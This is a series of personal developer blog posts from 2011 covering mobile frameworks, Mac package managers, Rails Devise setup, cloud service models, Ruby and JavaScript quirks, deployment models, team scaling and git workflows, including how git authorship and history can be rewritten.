Anyway, having done mobile web development and knowing the pain there, as well as having put together a few android/iOs "hello world" applications, I did NOT want to go down the "build 3 different versions" road. I understand that there are compelling reasons to do this, but there aren't compelling enough to do it (in my situation).
Knowing that there are a number of solutions in this space, I narrowed it down to things that seem to have #1 the most innovation and #2 the highest potential to NOT be a dead end career wise. My list was narrowed down to titanium mobile,rhomobile, and phonegap.First off, titanium certainly has the best press corps in my opinion, the down side is that they appear to be going down the IBM path. That is, they're trying to build an "everything but the kitchen sink" heavyweight solution that is pretty off putting. In addition, the requirement to download proprietary development tools is just not where I want to go at this moment. While their solution looks very complete, I can't help but feeling it will end up being a dead end career wise. What I mean by this is that I think eventuall titanium will end up going the way of coldfusion - it will be widely used and very lucrative, but you'll be branded as a "titanium guy" for the rest of your career. For the reasons I mentioned, I actually downloaded the sdk, but didn't actually do any development using it.
Next is Rhomobile. One thing that excites me about Rhomobile AND phonegap is their distributed build system. This means I can actually build the cross platform components and NOT necessarily have the full SDK installed on my machine. Another upside to Rhomobile is that it uses ruby (a language I happen to like), but that upside quickly turns into a downside. I spent a number of hours trying to figure out how the browser components interacted with the ruby components and ultimately gave up. Rhomobile, I like the idea, but your solution is WAAAY too complicated and confusing. The other downside to Rhomobile is that same sort of "proprietary lock in" that I think will plague titanium. While I like the concept, I cannot get on board with rhomobile at this point.
Last, but certainly not least is phonegap. I actually used this for the first time almost a year ago and at that time I wasn't really impressed. An upcoming project I may take on had mentioned they're going to probably use this so I took another look. Holy crap! Not only have they made the barrier to entry almost zero, they have the simplest solution imaginable (given the current state of the art). Basically after signing up, you fork a github repo with the libraries pre-assembled (there aren't many), then start coding html and javascript... Once you're ready to deploy to devices, you push.. then log into their build server and hit "update"... a few minutes later you have a set of barcodes on your screen that allow you to deploy your application to blackberry, android, ios, webos, and symbian. I'm not sure how great the blackberry, webos, and symbian applications are, but the android seems to work very well and i'm going to test ios in the near future.
Using phonegap in addition to ripple mobile emulator in chrome makes me super productive and I can use the development tools of my choosing. For now, phonegap + ripple + whatever text editor are my tools of choice and I highly recommend trying them out. As for rhomobile, guys... I'm rooting for you, but it's just too complicated and I don't have enough spare time to figure it out. Titanium.. I think you have a market in the corporate enterprise space, but you're likely to not attract many indie guys as you just seem tooo... heavy.

What's the difference between macports and homebrew?

2011-09-20T07:34:00.000-05:00

Anyone using a mac for software development has probably run into the need for some gnu/open source software that isn't pre-packaged. One of the great failings of Mac OSX is it's lack of a real package manager. Luckily, users stepped up and built some solutions: Fink, MacPorts, and HomeBrew.

I've never used fink, but I hear it's pretty good. Being also a debian/ubuntu guy, I'm familiar with apt-get so it's probably a decent tool... but having no direct experience with it I can't really comment.

This brings me to the two tools I HAVE used: Macports and HomeBrew. I started off with macports because it was the one that had the packages I was looking for. On advice from folks I was working with (I believe the comment was "why are you still using macports, everyone is using homebrew now"). I downloaded and started using HomeBrew, but frankly, I'm unimpressed.

As far as I can tell, the only reason anyone would use homebrew is if they stumbled across one of the web sites/blog posts with the raving fanboys flipping the bird to all the uneducated macports users. When digging around, I did find this fairly objective blog post which leads me to believe that homebrew is really...not that different. The biggest difference I see is that macports has almost everything I want, whereas homebrew is missing huge quantities of useful software, so I ended up requiring macports anyway.

I like the idea that homebrew will apparently use binary packages in some situations and frankly, I don't understand why that isn't the standard. After all, debian and redhat have been doing this for years and it's much more efficient that wasting your user's time recompiling for a tightly controlled platform. Anyway, my advice is macports works for me, homebrew also works, and they seem to both work together... so it really doesn't matter which one you use, but you'll still need macports anyway because homebrew is missing about 6000 packages that are already in macports.

Using Devise for authentication in rails 3

2011-09-13T16:33:00.000-05:00

I recently started a new Rails 3 project and was going to use devise for authentication. While very powerful, the documentation was a touch confusing for me and all the other blog posts kept confusing me. What follows are my steps to get up and running with a minimum of effort and thinking.
Step 0, put devise into your Gemfile and run


bundle install

Next, Generate the devise install scripts

$ rails generate devise:install

Devise will spit out:

create  config/initializers/devise.rb
create  config/locales/devise.en.yml

===============================================================================

Some setup you must do manually if you haven't yet:

1. Setup default url options for your specific environment. Here is an
example of development environment:

config.action_mailer.default_url_options = { :host => 'localhost:3000' }

This is a required Rails configuration. In production it must be the
actual host of your application

2. Ensure you have defined root_url to *something* in your config/routes.rb.
For example:

  root :to => "home#index"

3. Ensure you have flash messages in app/views/layouts/application.html.erb.
For example:

<p class="notice">
<%= notice %></p>
<p class="alert">
<%= alert %></p>

===============================================================================

Gotcha number 1 is that you need TWO entires in routes if you want to enable auto sign up. In addition to what's described above, you'll also need the following line in your routes.rb if you want to enable this:

  devise_for :users

Next, generate the active record files for your User account (I used User, why use anything else?).

$ rails g active_record:devise User

Which spits out the following:

create  db/migrate/20110831002655_devise_create_users.rb
create  app/models/user.rb
invoke  test_unit
create    test/unit/user_test.rb
create    test/fixtures/users.yml
insert  app/models/user.rb

After that, migrate your databse

$ rake db:migrate

==  DeviseCreateUsers: migrating ==============================================
-- create_table(:users)
-> 0.0112s
-- add_index(:users, :email, {:unique=>true})
-> 0.0007s
-- add_index(:users, :reset_password_token, {:unique=>true})
-> 0.0006s
==  DeviseCreateUsers: migrated (0.0128s) =====================================

Generate a controller for your home page (optional if you've got another controller).

$ rails g controller home

Which spits out this:

create  app/controllers/home_controller.rb
invoke  erb
create    app/views/home
invoke  test_unit
create    test/functional/home_controller_test.rb
invoke  helper
create    app/helpers/home_helper.rb
invoke    test_unit
create      test/unit/helpers/home_helper_test.rb

remove app/public/index.html < this is important!


rm app/public/index.html

edit app/controllers/home_controller.rb and make it do something: NOTE: ;we've added the devise before_filter to require login/signup, this is what tells devise that the controller should be secured.


class HomeController < ApplicationController
  before_filter :authenticate_user!
  def index
    render :text => "Welcome #{current_user.email}!"
  end

Next generate the devise views. I don't think this is strictly necessary, but I'm assuming you'll want to customize these after you get going.

$ rails g devise:views

Output should look like this:

      invoke  Devise::Generators::SharedViewsGenerator
      create    app/views/devise/mailer
      create    app/views/devise/mailer/confirmation_instructions.html.erb
      create    app/views/devise/mailer/reset_password_instructions.html.erb
      create    app/views/devise/mailer/unlock_instructions.html.erb
      create    app/views/devise/shared
      create    app/views/devise/shared/_links.erb
      invoke  form_for
      create    app/views/devise/confirmations
      create    app/views/devise/confirmations/new.html.erb
      create    app/views/devise/passwords
      create    app/views/devise/passwords/edit.html.erb
      create    app/views/devise/passwords/new.html.erb
      create    app/views/devise/registrations
      create    app/views/devise/registrations/edit.html.erb
      create    app/views/devise/registrations/new.html.erb
      create    app/views/devise/sessions
      create    app/views/devise/sessions/new.html.erb
      create    app/views/devise/unlocks
      create    app/views/devise/unlocks/new.html.erb

Run your app and you will have auto-signup and authentication enabled. For more infomation about how to further customize your config see the devise web site.

defining IaaS, PaaS, and SaaS for cloud computing

2011-09-12T07:47:00.000-05:00

Looking through cloud literature, it seems we've run out of three letter acronyms (TLA), so we're now using four letter acronyms (FLA?). Chief among these are the "as a service" acronyms which describe what level of stuff is handled by the provider. Wikipidia has some sort of explanation buried in the cloud computing page, but I thought I'd give the abridged version.

At the lowest level is "Infrastructure as a Service" (IaaS): You get a virtual server with connectivity to the internet. Examples are Amazon ECS and Rackspace Cloud. In these offerings, you can install almost anything you want (you typically get root access in some manner) and can even install the operating system of your choice. This is a good choice if you're a sysadmin who just doesn't want to muck around with physical hardware.

The next level up is "Platform as a Service" (PaaS): You get some sort of development platform hosted remotely and you have a mechanism to write and deploy applications that run on that remote platform. Often you cannot log onto the server directly and you are sandboxed into a virtual environment with pretty stringent restrictions about what you can do within it. Examples of this are Heroku for ruby and cloud bees run@cloud for java. This type of stack is good for a developer who needs to deploy an application, but doesn't know anything about the underlying technology.

At the highest level is "Software as a Service (SaaS): This is a hosted application that you simply use. Examples would be things like Lucid Chart or Gliffy. You just use this stuff and don't have any software installation or maintenance tasks.

A few providers blur the lines between IaaS and PaaS by offering hybrid solutions. An example of this is Engine Yard who provides what really is IaaS, but is largely centered around the ruby/rails platform. Amazon Elastic Beanstalk is an EC2 based java PaaS that also has more flexibily that something like run@cloud. I would say these last two are probably the most flexible PaaS solutions, but come with a bit more added complexity. They're probably the best for production deployments, but might be overkill for small applications with a limited user base.

Another Ruby 1.9.2 gotcha hashes are not arrays

2011-09-09T19:39:00.000-05:00

In ruby 1.8.7, the following works


Michael-Mainguys-MacBook-Pro:~ michaelmainguy$ irb
ruby-1.8.7-p352 :001 > foo = {"foo","bar"}
 => {"foo"=>"bar"} 
ruby-1.8.7-p352 :002 > foo["foo"]
 => "bar" 
ruby-1.8.7-p352 :003 >

In 1.9.2, it fails rather curiously.


Michael-Mainguys-MacBook-Pro:~ michaelmainguy$ irb
ruby-1.9.2-p290 :001 > foo = {"foo","bar"}
SyntaxError: (irb):1: syntax error, unexpected ',', expecting tASSOC
foo = {"foo","bar"}
             ^
(irb):1: syntax error, unexpected '}', expecting $end
 from /Users/michaelmainguy/.rvm/rubies/ruby-1.9.2-p290/bin/irb:16:in `

'
ruby-1.9.2-p290 :002 >

Matz/et-al, get it together... this is a pretty significant change and probably warrants a deprecation warning instead of a mysterious fail that in no way indicates what is really happening. This will seriously dampen adoption of the 1.9.x series of ruby for newbies who used the hash constructor the old (arguably incorrect) way.

Newbies, if you try to upgrade to ruby 1.9.2 and you get these strange error messages.... it means you where trying to create hashes by passing comma separated values... if you really wanted to create a hash the ruby way would be

foo = {"foo"=>"bar"}

or, for an array
foo = {"foo","bar"}

by doing {"foo","bar"}, ruby was helpfully (in 1.8.7) translating your call into
foo = Hash.new(["foo","bar"])... note, in the cases I'm finding this, the folks really wanted an array, but because it "kinda" worked, they didn't realize what had happened.

Maven central and rubygems.org

2011-09-09T07:16:00.000-05:00

I was thinking about some of the differences between the ruby and java ecosystems and one comparison point I thought would be telling was how many packaged, open source, third party components are readily available. From my perspective, the current "way to get things" in java is maven, and the equivalent in ruby is a ruby gem. Conveniently, there is a central repository for both of these things, maven.org and rubygems.org.

It's interesting that they have almost an identical number of components: Maven has 29,815 and rubygems has 28,078. Of the top 10 downloaded from each, 1/2 of the maven artifacts are components to interact with maven repositories. Rounding out the maven list are: junit, commons-lang, and commons-collections. On the rubygems side, ALL of the top 10 are related to or used by rails.

I've heard folks say that ruby/java has more components available, but it just doesn't seem that way when looking at the numbers. I've yet to find a library that is NOT available in ruby/gems or java/maven.

Facebook/twitter integration? both have in spades...

library to simplify communicating over a serial port, it's in there...

Frankly, the rumors of one or other of these ecosystems have more open source component support are largely false. For MOST applications, I'm comfortable saying you cannot go wrong with either of these. To me, ruby seems to get more productivity from developers, but java isn't going anywhere soon.

I DO have a question though, is there something similar to maven and ruby gems for C#?

Lucid Charts and Gliffy for online diagramming

2011-08-30T08:46:00.002-05:00

My one sentence evaluation:

If you MUST use Internet Exploder then Gliffy is your solution, otherwise download Chrome (or other html5 capable browser) and use use Lucid Charts.

The long Version:

As a long time Visio user, it used to be one of two microsoft tools I missed when working on linux/Mac. Beyond not really working on linux, it's just too damn expensive for the amount of time I spent using it. I'm an occasional user who needs to slap something together that is only slightly more professional than a napkin (although I've used napkins on occasion) or ascii art for illustrating network diagrams or software architectural components.

In the last 5 years or so, a couple of online tools have emerged that let you do this inside your web browser. I've used and been a paying customer of both Gliffy and Lucidcharts and will say they are both pretty good tools and if you're someone like me who like me, they can meet your needs.

Lucidcharts is a better put together product from a useability perspective, has more widgets and seems to be innovating much faster. For example, Lucidcharts has iphone templates, works on iPad, and can import visio. This last one is a killer feature that Gliffy has failed to implement for almost 4 years.. Lots of excuses, but no feature. Gliffy has abandoned their customers by not implementing this and regardless of how difficult it might have been to implement, personally, I think this feature alone will stand to propel lucid charts ahead of gliffy.

Gliffy uses flash and therefore will work on old browsers and IE, but you're likely out in the cold trying to use Gliffy on an ipad. All told, I'm very satisfied with Lucid charts and highly recommend it. Gliffy isn't a horrible product and I'm sure might find a niche in large corporations that don't use Visio already and are stuck using IE, but it just feels klunky in my hands and hasn't seemed to keep pace with what I need.

edit
I just noticed this post five best online diagramming tools and neither Gliffy nor Lucid Charts are listed...not sure why, maybe they aren't in the five best?

Push versus pull deployment models

2011-08-23T07:04:00.000-05:00

There are two deployment models: push and pull. In a "Pull" deployment model, the individual servers contact a master server, download their configuration and software, and configure themselves. In a "Push" model, a master server pushes the configuration and software to the individual servers and runs commands remotely. While neither technique is right or wrong, they both have some specific advantages and disadvantages that you should understand when making a decision. In the ruby hosting world, an example of a "push" deployment is heroku, while Engine Yard is an example of a "pull" type deployment.

In the Pull model, each server has information about how to obtain it's configuration, when it boots (or whatever the configuration triggering event happens to be) it can continue to proceed without intervention from the master server. In the Push model, because the master server is orchestrating things, it will typically need to have a connection back every application server. This can lead to performance and scaleability problems when trying to deploy 100s or 1000s of application server images simultaneously.

On the other hand, the pull model doesn't typically have a way to ensure that all servers and software are launched in a particular sequence. In push scenario, the master server can coordinate which servers come up in which order. If you have a situation where application a depends on application b running, it might be a better idea to have a push deployment for these two.

In addition, the pull model starts to get wonky if you want to attempt "instantaneous" deployments. Then either the application servers need to poll frequently or "long poll" OR -- you need simulate a push deployment ;).

From a security perspective, since a pull deployment needs to connect back to a master server, it can potentially open up some security holes. In a push deployment, the master server has access to the application server, but the application server has no access back to the master. This means it is much less likely that a security breach on one of your application servers can corrupt your master server.

Both models work, and they are not mutually exclusive, but understanding their key differences is important.

Some other references:
Automated deployment systems: push vs. pull

Configuration management: push vs. pull

Groupon makes me tired

2011-08-18T13:54:00.000-05:00

I read a blog post a while back comparing groupon to a ponzi scheme, but I think it's more accurately Tulip Mania.

I discount the value Groupon can have for a business who is missing traffic to their store and struggling to figure out how a business gets a loyal customer from this tactic. As a business, it seems to me Groupon will only create disloyal customers and as a business, the best I can hope for from is a sort of ebay-like place to either dump excess inventory or fill in slow periods where I have trouble getting customers into my place of business.

When looking at the fundamentals, Groupon has only overhead. The only arguable asset is their consumer base and I think it provides no intrinsic value as these customers represent a pool of people who will buy something for 50% or more off. I hate to break the bad news, but those people aren't hard to find. Worse yet, the switching cost from groupon to "whatever else" is almost zero.

For Groupon to survive, they need to figure out how to make both their consumers and their business customers "sticky".

The overhead of annual enrollment in the US

2011-08-16T07:57:00.000-05:00

For folks employed in "traditional" jobs, there is a common event in the modern age that raises collective blood pressure. It's know as "annual enrollment" and it is a period of time where most employees change/adjust various benefits offered by their company. In particular, medical insurance is a common thing to adjust.

While this is normal a cost of doing business, I think many folks underestimate the real costs of switching. Sure, there's the cost for the HR department to go out to 20 different brokers and try to get the "cheapest/best" plan for their employees, but there're also a number of hidden costs. For example, every year my health plan changes, I spend at least 5-10 hours futzing around with various billing changes as well as filling out forms etc.

When I quote 10 hours, many folks say "you're crazy, it only took me 15 minutes". I think these folks, greatly underestimate the amount of time spent because they're only worrying about the time to fill out the form. Because of these hidden costs, I imagine many employers scratch their heads trying to figure out why using a "cheaper/better" plan didn't show up on the bottom line.

Examples are:
Spending 15 minutes at the front desk of their physician/dentist/othodontist changing their information.
Reading about the plan and figure out what is and isn't covered.
Figuring out if their physician is "in-network" or not.

For dual income families:
Analyzing the differences between the two plans and figuring out which one is best.
Filling out "coordination of claims" paperwork (and heaven help someone who is divorced and needs to coordinate THAT nightmare).

All these costs erode the bottom line because they take time away from performing other duties. I'm not sure a national health plan is the solution for this, but the current system certainly certainly is a recurring drain on resources for every business except insurance companies.

Heroku is a bus, Engineyard is a car

2011-08-15T06:13:00.001-05:00

Engineyard and heroku are two widely used ruby on rails hosting providers.

A common question is: Which one should I use?
The answer everyone gives: It depends!

Having deployed the same application in both environments, I thought I'd highlight some of the important differences.

#1 "Ease of Use"
Heroku blows engineyard away. you install the gem and can deploy your application in minutes. There are also commands you can run on your local machine to get information about your application.
Engineyard is moving forward, but it is still pretty technical. It's really easy if you have a public github repo, but anything other than that starts to get "more complicated" quickly.

#2 "Architecture"
Engineyard gives you a "real" virtual machine. This means you've actually got a single CPU virutal host that you ssh into and effectively do whatever you want.
Heroku gives you a sandbox with walls around it, and I think it's a shared environment. It's actually kinda difficult to figure out exactly what they're running as you cannot log onto the machine direction.

#3 "Startup Price"
Heroku gives you a free (as in beer) environment.
Engineyard let's you run a trial environment for free for a period of time, but you eventually have to pay for it... even if nobody ever visits your site.

#4 "Flexibility"
Heroku lets you do anything you want as long as they've preconfigured it to enable you to be able to do it.
Engineyard gives you ssh capability to the machine, which means you can do anything you want even if they didn't think it would be a good idea.

Overall, I'd say Heroku is like taking the bus: if enough people want to go the same place at the same time, it's more economical. Engineyard is like buying a car: it's going to be a bit more expensive and you're going to need to know how to drive, but it is a much more flexible solution.

The economics of scaling software development teams

2011-08-12T11:50:00.000-05:00

One common theme in the development world is the vast difference in productivity between individual practitioners. Among folks with similar backgrounds, some are easily 10x more productive at delivering functional software. Software development is obviously not alone in having to deal with this, but I there are some particular attributes of software development that make dealing with this mismatch particularly difficult.

The first problem is that many people seem to have the mistaken impression that if one has developers who produce output, then the output is simply the sum of the individual outputs. This is just not true by any reasonable measure and is a contributing factor to the reason many outsourcing projects end up a smoldering mess. Mathematically, each developer adds a cumulative amount of drag if the software they are writing needs to communicate with software other folks on the team are writing.

As an example, suppose we have 1 developer working on a project, and he has a perfect understanding of the requirements. The overhead for this person to write the software is the cost of typing it into a computer, compiling (if necessary), and deploying it. Obviously the frequency and cost of compiling and deploying are a factor, but this is typically a fixed cost.

Now let's add another developer who is going to work on the same software as the first. We now incur the overhead of the first developer communicating what he is doing to the second (and visa versa) PLUS the overhead of bringing the new developer up to speed on who things work. While bringing the new developer up to speed is a one time cost, the communication overhead is ongoing. Generally speaking, the communication overhead can be represented as a complete graph with a formula of cost=(count*(count-1)) /2.

What does this mean? Well, for starters, compared to a team of two, the communication overhead for a team of 10 is 45x higher and a team of 50 is 1225x higher! More importantly, this is assuming unrealistic perfect communication, so the real factor can be much larger depending on the effectiveness of communication. As an example, using high latency communication or off cycle team mates can often double the cost of each network interconnect.

But wait! we know there are software projects with tens, and even hundreds of developers, how can they possibly be successful?

For starters, many teams simply absorb this cost and they largely end up much less successful than they COULD be. Any project manager or even developer is probably familiar with the sad problem of having an initial spike of productivity with a small team, then looking on in dismay when an influx of new people to the project drops their delivery velocity.

A better approach approach is to reduce the amount of communication necessary between subgroups within the team. This can be done by choosing a software architecture that has well defined boundaries and focusing the communication between the independent teams on those boundaries. For example, many places do this by having a "backend team" that writes database access code and a "frontend team" that writes the GUI.

So in our example of our team of 10, if we broke it into two teams of 5 who intercommunicated via one interface, our communication overhead would be reduced to 21 from 45.... that cut it down by more than half!

What does this mean? It means by following these guidelines, project managers and architects now have another tool to account (literally) for a variety of team configurations. Information technology architecture is not JUST about software and hardware, but also wetware (people) and human factors need to be accounted for as part of the art.

Ruby 1.9.2 changes and i18n on Mac OSX

2011-08-11T07:17:00.000-05:00

We recently noticed some pretty interesting changes in ruby 1.9.2. It appears that require no longer allows relative paths and ruby is now more unicody. This means if you are in a directory with two files "foo.rb" and "bar.rb", you can no longer simply type "require 'foo'" inside bar.rb to use foo. Now, you need to either do "require './foo'" or "require_relative 'foo'".

A potentially more difficult change is in how ruby handles character encodings. For the most part, this isn't a problem inside "normal" code and strings, but things get dicey if you start reading text files off a filesystem. This is especially dicey if you're doing this and you're on a mac AND you work with western european data AND it involves money. If you save a file with a currency symbol on a mac, then subsequently read the file on a machine (or a tool) that uses/assumes utf-8, you will not see €, you will see a Û.

To cut to the chase, if you're developing software on a Mac, make sure you change your tools to use utf-8, NOT macroman or you will at some point be scratching your head. Why? As a quick example, the Euro symbol in macroman is mapped to a different character than it is in UTF-8. More importantly, for international applications, non-latin characters don't exist and you won't be able to properly edit files with asian and other non-latin based characters.

git and github not change mangement tools

2011-08-10T07:12:00.000-05:00

I recently stumbled across a problem with git that is going to cause no manner of headache for the uninitiated. Git repositories are fundamentally insecure and the audit trail is dodgy when folks are either #1 intentionally malicious or #2 ignorant to how git works.

For the back story, I have a number of github accounts, one is used for code I use while blogging, another is for internal projects at work, and yet another was for a client I was working on. A while back I noticed that I had commits that apparently were done with my "client" github account that showed up in my blog.

Confused, I verified my public/private key pairs against what was in github and was truly stumped as to how this was happening. While scratching my head, I remembered that there is the concept of a "global" config in git and ran the following command:

git config --global -l

Uh oh! it turns out I had a global config set... When I went back and looked, EVERY commit I had done was as this erroneous user.

The problem seems common to distributed source code revision management systems, but is fundamental to git. Every copy of every repository is trusted to maintain it's own copy of revision history. After realizing this, I also realized that I could rewrite history, push to the central repository and effectively delete and/or amend the revision history in the master repository.

As an example, I tried the following:

git clone git@github-personal:mikemainguy/mainguy_blog.git

git config --replace-all user.name Scooby

git config --replace-all user.email sdoo@doo.com

echo "Scooby Doo" >> README

git commit -a 

git push

Now when examining the history in github, my commit shows up as having come from some cat named scooby doo! Worse yet, there's no apparent way to figure out which github account actually pushed the change.

Worse yet, I can rewrite history in my local repository, push it out and make old changes disappear and nobody will be able to see what happened.

For example:

echo "SECRET STUFF" >> README2

git add README2

git commit README2 -m "whoops"

git push

Check your central repo, you see README2

git filter-branch --index-filter 'git rm --cached --ignore-unmatch README2' -f

git push

Now check github, the commit is still there (I'm not sure if that can be completely removed), but the file is gone... It's as if it never existed!

So, applying this knowledge to my screwed up commits I ran the following:

git filter-branch --env-filter 'export GIT_AUTHOR_NAME=Mike Mainguy' -f

git filter-branch --env-filter 'export GIT_COMMITTER_NAME=Mike Mainguy' -f

git filter-branch --env-filter 'export GIT_AUTHOR_EMAIL=mike.mainguy@gmail.com' -f

git filter-branch --env-filter 'export GIT_COMMITTER_EMAIL=mike.mainguy@gmail.com' -f

And all the craziness is gone...

Knowing these details is important if you're using git/github because most people coming from a centralized source code control tool would find this behavior a little bit disconcerting (if not just plain wrong). The thing to remember is that every person you trust to push to your repository can effectively remove/rewrite history to their own liking. If accountability and audit trail are important, you'll likely need to adopt a "pull" model and have someone manually verify/rewrite each commit.

Avoid Bowfinger Syndrome

2011-08-09T08:05:00.000-05:00

I just read a great blog post about what it costs to write AAA games and the author used a term I love called "Bowfinger Syndrome". Bowfinger is a movie starring Steve Martin and Eddie Murphy in which Bobby Bowfinger (Martin) tries to make a movie with only $2000. While a very funny movie, it hits home in the software development world in many ways.

Too often, software projects fail because folks grossly underestimate the costs associated and then spend time trying to work around the lack of budget to actually finish the project. There are a number of reasons for this and I'll give a quick list:

#1 A prototype of some software was written and someone extrapolates the costs to build the "real software". This is a mistake, prototypes are like hollywood cutout towns... they may LOOK like real software, but they don't necessarily WORK like real software. If you're eyeballing the hours necessary to build a prototype and trying to estimate effort to build the finished product, step back and imaging how you would do this if you were trying to convert a hollywood set into a real city.

#2 The costs to write an initial version of some software are buried and not really understood. This happens when domain experts or highly skilled developers write initial versions of software and then folks think that they can economize by using unskilled or domain ignorant developers to write something else or a new version of the same software. Put another way, if 1 surgeon can do 1 surgery in 1 hour, that doesn't mean 5 trained monkeys can do 5x more surgeries in the same amount of time.

#3 A contract does not mean the software can be delivered. If your business depends on software and your plan is to somehow get a lawyer to deliver it, you're not going to have a business for long. Put another way, just because someone is foolish enough to sign a contract and agree to build you a ladder to the moon, doesn't mean it's a good idea to start pre-selling tickets.

Photos:
utahstories.com
times3online.com
www.web20lawyer.com

javascript sleep method

2011-08-08T07:55:00.002-05:00

For newcomers to javascript, it might come as a surprise that there is no sleep method. Worse yet, if you search the internet, you'll find all manner of really... really bad ways to simulate this. One of my favorite "rotten tomatoes" is something like this:

alert('start');

  var date = new Date();

  var curDate = null;

  do { curDate = new Date(); }

  while(curDate-date < 5000);

  alert('finish');

Note, I borrowed this horrible example from stack overflow. If you're lucky, that example will not completely crash your browser. A much better solution is something like this:

alert('start');

  setTimeout(function() {alert('finish')},5000);

The obvious problem is that if you truly want to simply pause for 5 seconds in the middle of a really long method, the anonymous function is not going to help you out very much.. unless you do something like this

alert('start');

  //lots of code

  var a = 'foo';

  setTimeout(function(){

    alert(a);

    //lots more code

  },5000);

If you find this solution lacking, you're probably due for some refactoring of your code as you are probably writing highly procedural code and it's likely that javascript is going to cause you other, more serious problems. This is on stack overflow here, upvote if you think it's a good solution.

Adding methods at runtime in javascript, ruby, and java

2011-08-05T08:32:00.000-05:00

OK, the title is a ruse, you can't easily add methods to java classes at runtime. But I'll illustrate how to do it in javascript and ruby. For example, lets supposed we have a javascript object(function) and we want to add a say_hello method to it:

var myObj = {};
myObj.say_hello() // doesn't work
myObj.say_hello = function() {
  return "hello";
}
myObj.say_hello(); //works

This is because javascript treats functions as first class citizens and doesn't even bother with the concept of "classes" as something other than special functions.

Same thing in ruby:

myObj = Object.new
myObj.say_hello # doesn't work
def myObj.say_hello
  "hello"
end
myObj.say_hello # works

There's a subtle difference here. The ruby syntax seems a little strange to me and it wasn't obvious how to do this. In javascript, it's very obvious that you're assigning a new function to the attribute (that you're adding). In ruby, using def in this manner seems out of place...

Ruby seems to attribute special meaning to the class and object definition where javascript treats methods (functions) just like any other variable.

Digging around a little, the ruby situation gets a little strange:

myObj2 = Object.new;
myObj2.say_hello @ doesn't work (this makes sense because we only defined the method on one instance
Object.respond_to? :say_hello #false ??? I "kinda" get it
myObj.respond_to? :say_hello #nil  ??? OK, now I'm pretty confused

If I want, I COULD have added the method to the class in ruby and then every instance would get it e.g.

myObj = Object.new()
myObj.say_hello # doesn't work
class Object
  def say_hello
    "hello"
  end
end
myObj.say_hello # works
myObj2 = Object.new()
myObj2.say_hello #works
MyThing.respond_to? :say_hello #works

It really depends on if you want to "backport" new methods to all objects of a class or only add the method to a particular instance. To do the equivalent in javascript, you'd do something like

var myObj = {};
myObj.say_hello() // doesn't work
Object.prototype.say_hello = function() {
  return "hello";
}
myObj.say_hello(); //works
var myObj2 = {};
myObj2.say_hello() //works
(new Array()).say_hello() //works!

The difference between how the two languages accomplish this is pretty minor, the more important thing to understand is the difference between adding a method to and instance (object) or a class definition(prototype). Not having a complete understanding of these differences can cause a lot of problems and subtle bugs in your code.

Object Oriented Javascript

2011-08-04T08:23:00.000-05:00

Suppose we need to create a counter that starts at zero, increments to 4 and then restarts at 0 (A "you can't count to five" counter). There many ways to do this, but a straightforward way someone might do this in javascript would be:

var global_count = 0;
function increment() {
    global_count ++;
    if (global_count > 4) {
        global_count = 0;
    }
}

This is pretty common for beginners and works until your systems start to get complicated and your global_count gets clobbered or multiple people need to have counters. For multiple counters, one might start with a naming convention and add variables like "global_count2, global_count3" and et cetera. This doesn't solve the problem of the variables getting clobbered in other parts of your system and it likely makes it worse because now there are more permutations to mix up and accidentally change the value of.

As an example of what I'm talking about

var global_count = 0;
function increment(my_val) {
    my_val++;
    if (my_val > 4) {
        my_val = 0;
    }
}

increment(global_count); //works fine

//Somewhere else a smart guy decides to do this
global_count = 52;

To prevent this sort of thing OO has the concept of information hiding. In java, a straightforward way to avoid someone clobbering your count is to encapsulate the "count" variable and only access it via a method that performs your business logic.

public class BeanCounter() {
  private int count = 0;

  public void increment() {

    count++;
    if (count > 4) {
       count = 0;
    }
  }
  public int getCount() {
    return count;
  }
}

So now, when this java example is literally (for the most part) translated to javascript, it looks like this:


function BeanCounter() {
    var count = 0;

    this.increment = function() {
        count++;
        if (count > 4) {
           count = 0;
        }
    }

    this.getCount = function() {
        return count;
    }

}
var my_counter =new BeanCounter();

But a more javascripty way to do this would probably be:

var bean_counter = function () {
    var that = {};
    var count = 0;
    that.increment = function () {
        count++;
        if (count > 4) {
           count = 0;
        }
    };
    that.getCount = function () {
        return count;
    };
    return that;
};
var my_count = bean_counter();
my_count.increment();
my_count.getCount();

In both these examples, we can see some key differences between javascript and java. First, there really isn't anything formally defining a "class". We simply have functions with different mechanisms to extend and enhance them. In addition, there's more than one way to actually implement something that could fulfill some of capabilities that a more traditional OO language (like java) might give us. In this case the thing we wanted was the ability to ensure we could have things that would only be able to count to 4, then reset back to 0.

There are some advantages to the second approach when it comes to inheritance and polymorphic behavior that I won't go into here, but for a more in-depth look at different ways to apply (and mis-apply) OO concepts in javascript, I highly recommend Javascript, The Good Parts by Douglas Crockford.

Git for dummies

2011-08-03T06:26:00.000-05:00

OK, the title of this post is a lie... git is decidedly NOT for dummies. Git is more for your really smart mentally gifted people OR for people who are working on exceeding complex software projects that have complicate merging and revision history requirements. Neither of these groups should be dummies or you will have a serious problem being effective. For the context of this tutorial, a "dummy" is defined as somebody who knows and understands how to use SVN or CVS in a team environment.

So if you're still reading, I will walk you through the simplest workflow I can discover for git that work and doesn't cause too many complications. For the sake of simplicity, we're going to assume you're working on a project hosted at github that already exists. I've created a public repo if you'd like to try along at home. Assuming you already have git installed, you should be able to "clone" the repository to your local machine by issuing the following command:


git clone git@github.com:mmainguy/mainguy_blog.git

At this point you should now have a subdirectory called mainguy_blog with a "README" file inside it.

Assuming that everybody is working on a single branch of development, the workflow is pretty simple.

edit files (vi README)
add files to staging area (git add README)
commit changes (git commit README)
pull changes from remote (git pull)
push changes to remote (git push)

One thing you will note is that the number of steps is a bit different than you might be used to with svn or cvs. In particular, git seems to have added some steps. With SVN, the workflow would typically be:

edit files (vi README)
update from remote (svn update)
commit changes to remote (svn commit)

With Git, we've added the notion of a local staging area AND a local repository. This will really confuse dummies like me at first and I cannot emphasize enough that you need to think about the implications of this. I guarantee you THINK you get it, but the practical implication of not grokking it are that you will likely do tremendously stupid things for a period of days once you get into a larger team and/or someone starts to try doing some fancy merging.

So now, we're going to walk through a "normal" multiuser scenario.

User 1 edits README and adds it, and commits to their local repository
User 2 edits the same file in a different place, adds it and commits to their local repository
User 1 pushes their change to github and the change looks like this
User 2 tries to push their changes to github, but they discover that user1 has already pushed their changes.
User 2 pulls their changes from github
Git automerges the file because there are no conflicts
User 2 pushes their changes to github

When we look at the github history we something interesting... there is an additional commit that was added at the end to indicate git/User2 merged some files. Aside from the extra workflow steps, this is an additional point of confusion for quite a few newcomers.

In short, a workflow to have git work like perhaps a dummy like me would expect follows:


vi README
git add README
git commit README
git pull --rebase

